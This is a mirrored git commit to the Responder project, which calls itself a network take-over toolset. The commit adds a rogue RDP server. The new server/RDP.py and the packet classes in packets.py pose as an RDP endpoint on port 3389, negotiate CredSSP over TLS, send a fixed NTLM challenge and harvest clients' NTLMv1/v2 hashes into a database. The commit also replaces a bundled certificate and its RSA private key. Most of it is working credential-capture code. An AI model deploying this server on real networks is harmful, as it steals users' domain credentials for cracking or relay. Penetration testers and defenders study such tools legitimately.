mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-15 01:22:52 -07:00
Added RDP rogue server
This commit is contained in:
lgandx
parent
88e316c9a3
commit
c52843a535
9 changed files with 328 additions and 42 deletions
|
|
@ -3,6 +3,7 @@
|
|||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
RDP = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
|
|
|
|||
|
|
@ -244,6 +244,10 @@ def main():
|
|||
from servers.HTTP import HTTP
|
||||
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
|
||||
|
||||
if settings.Config.RDP_On_Off:
|
||||
from servers.RDP import RDP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,)))
|
||||
|
||||
if settings.Config.WPAD_On_Off:
|
||||
from servers.HTTP_Proxy import HTTP_Proxy
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
|
||||
|
|
|
|||
0
certs/gen-self-signed-cert.sh
Executable file → Normal file
0
certs/gen-self-signed-cert.sh
Executable file → Normal file
|
|
@ -1,18 +1,18 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
|
||||
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
|
||||
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
|
||||
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
|
||||
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
|
||||
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
|
||||
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
|
||||
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
|
||||
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
|
||||
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
|
||||
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
|
||||
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
|
||||
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
|
||||
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
|
||||
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
|
||||
u0/CRCN/lg==
|
||||
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
|
||||
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
|
||||
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
|
||||
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
|
||||
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
|
||||
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
|
||||
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
|
||||
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
|
||||
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
|
||||
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
|
||||
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
|
||||
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
|
||||
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
|
||||
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
|
||||
iKqwycWcwlFFUDbwBuOyfbfwjtUf
|
||||
-----END CERTIFICATE-----
|
||||
|
|
|
|||
|
|
@ -1,27 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
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
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
|
|
|||
145
packets.py
145
packets.py
|
|
@ -1633,3 +1633,148 @@ class SMB2NegoDataReq(Packet):
|
|||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
])
|
||||
###################RDP Packets################################
|
||||
class TPKT(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x03"),
|
||||
("Reserved", "\x00"),
|
||||
("Length", "\x00\x24" ),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header.
|
||||
|
||||
class X224(Packet):
|
||||
fields = OrderedDict([
|
||||
("Length", "\x0e"),
|
||||
("Cmd", "\xd0"),
|
||||
("Dstref", "\x00\x00"),
|
||||
("Srcref", "\x12\x34"),
|
||||
("Class", "\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6)
|
||||
|
||||
|
||||
class RDPNEGOAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("Cmd", "\x02"),
|
||||
("Flags", "\x00"),
|
||||
("Length", "\x08\x00"),
|
||||
("SelectedProto", "\x02\x00\x00\x00"),#CredSSP
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Length"] = struct.pack("<h",8)
|
||||
|
||||
|
||||
class RDPNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
|
||||
("PacketStartASN", "\x30"),
|
||||
("PacketStartASNLenOfLen", "\x81"),
|
||||
("PacketStartASNStr", "\x01"), #Len of what follows... in this case, +20 since it's x81 lengths are >B
|
||||
("PacketStartASNTag0", "\xa0"),
|
||||
("PacketStartASNTag0Len", "\x03"), #Static for TSVersion
|
||||
("PacketStartASNTag0Len2", "\x02"),
|
||||
("PacketStartASNTag0Len3", "\x01"),
|
||||
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
|
||||
("ParserHeadASNID1", "\xa1"),
|
||||
("ParserHeadASNLenOfLen1", "\x81"),
|
||||
("ParserHeadASNLen1", "\xfa"),#... +12
|
||||
("MessageIDASNID", "\x30"),
|
||||
("MessageIDASNLen", "\x81"),
|
||||
("MessageIDASNLen2", "\xf7"),#... +9
|
||||
("OpHeadASNID", "\x30"),
|
||||
("OpHeadASNIDLenOfLen", "\x81"),
|
||||
("OpHeadASNIDLen", "\xf4"),#... +6
|
||||
("StatusASNID", "\xa0"),
|
||||
("MatchedDN", "\x81"),
|
||||
("ASNLen01", "\xf1"),#NTLM len +3
|
||||
("SequenceHeader", "\x04"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\xee"), #done
|
||||
#######
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
|
||||
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
||||
("NTLMSSPNtWorkstationName", "RDP12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
###### Convert strings to Unicode first
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### RDP Packet Len
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### RDP Len Calculation:
|
||||
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3)
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6)
|
||||
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9)
|
||||
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12)
|
||||
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20)
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
|
||||
|
|
|
|||
134
servers/RDP.py
Normal file
134
servers/RDP.py
Normal file
|
|
@ -0,0 +1,134 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
|
||||
import struct
|
||||
import re
|
||||
import ssl
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'RDP',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NTLMHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'RDP',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NTLMHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
||||
def FindNTLMNegoStep(data):
|
||||
NTLMStart = data.find('NTLMSSP')
|
||||
NTLMString = data[NTLMStart:]
|
||||
NTLMStep = NTLMString[8:12]
|
||||
if NTLMStep == "\x01\x00\x00\x00":
|
||||
return NTLMStep
|
||||
if NTLMStep == "\x03\x00\x00\x00":
|
||||
return NTLMStep
|
||||
else:
|
||||
return False
|
||||
|
||||
class RDP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(30)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
if data[11:12] == "\x01":
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
h = TPKT(Data=x)
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(buffer1)
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock.settimeout(30)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
||||
x.calculate()
|
||||
SSLsock.write(str(x))
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||
|
||||
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
|
||||
if data[len(data)-4:] == "\x03\x00\x00\x00":
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
h = TPKT(Data=x)
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(8092)
|
||||
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
||||
x.calculate()
|
||||
SSLsock.write(str(x))
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||
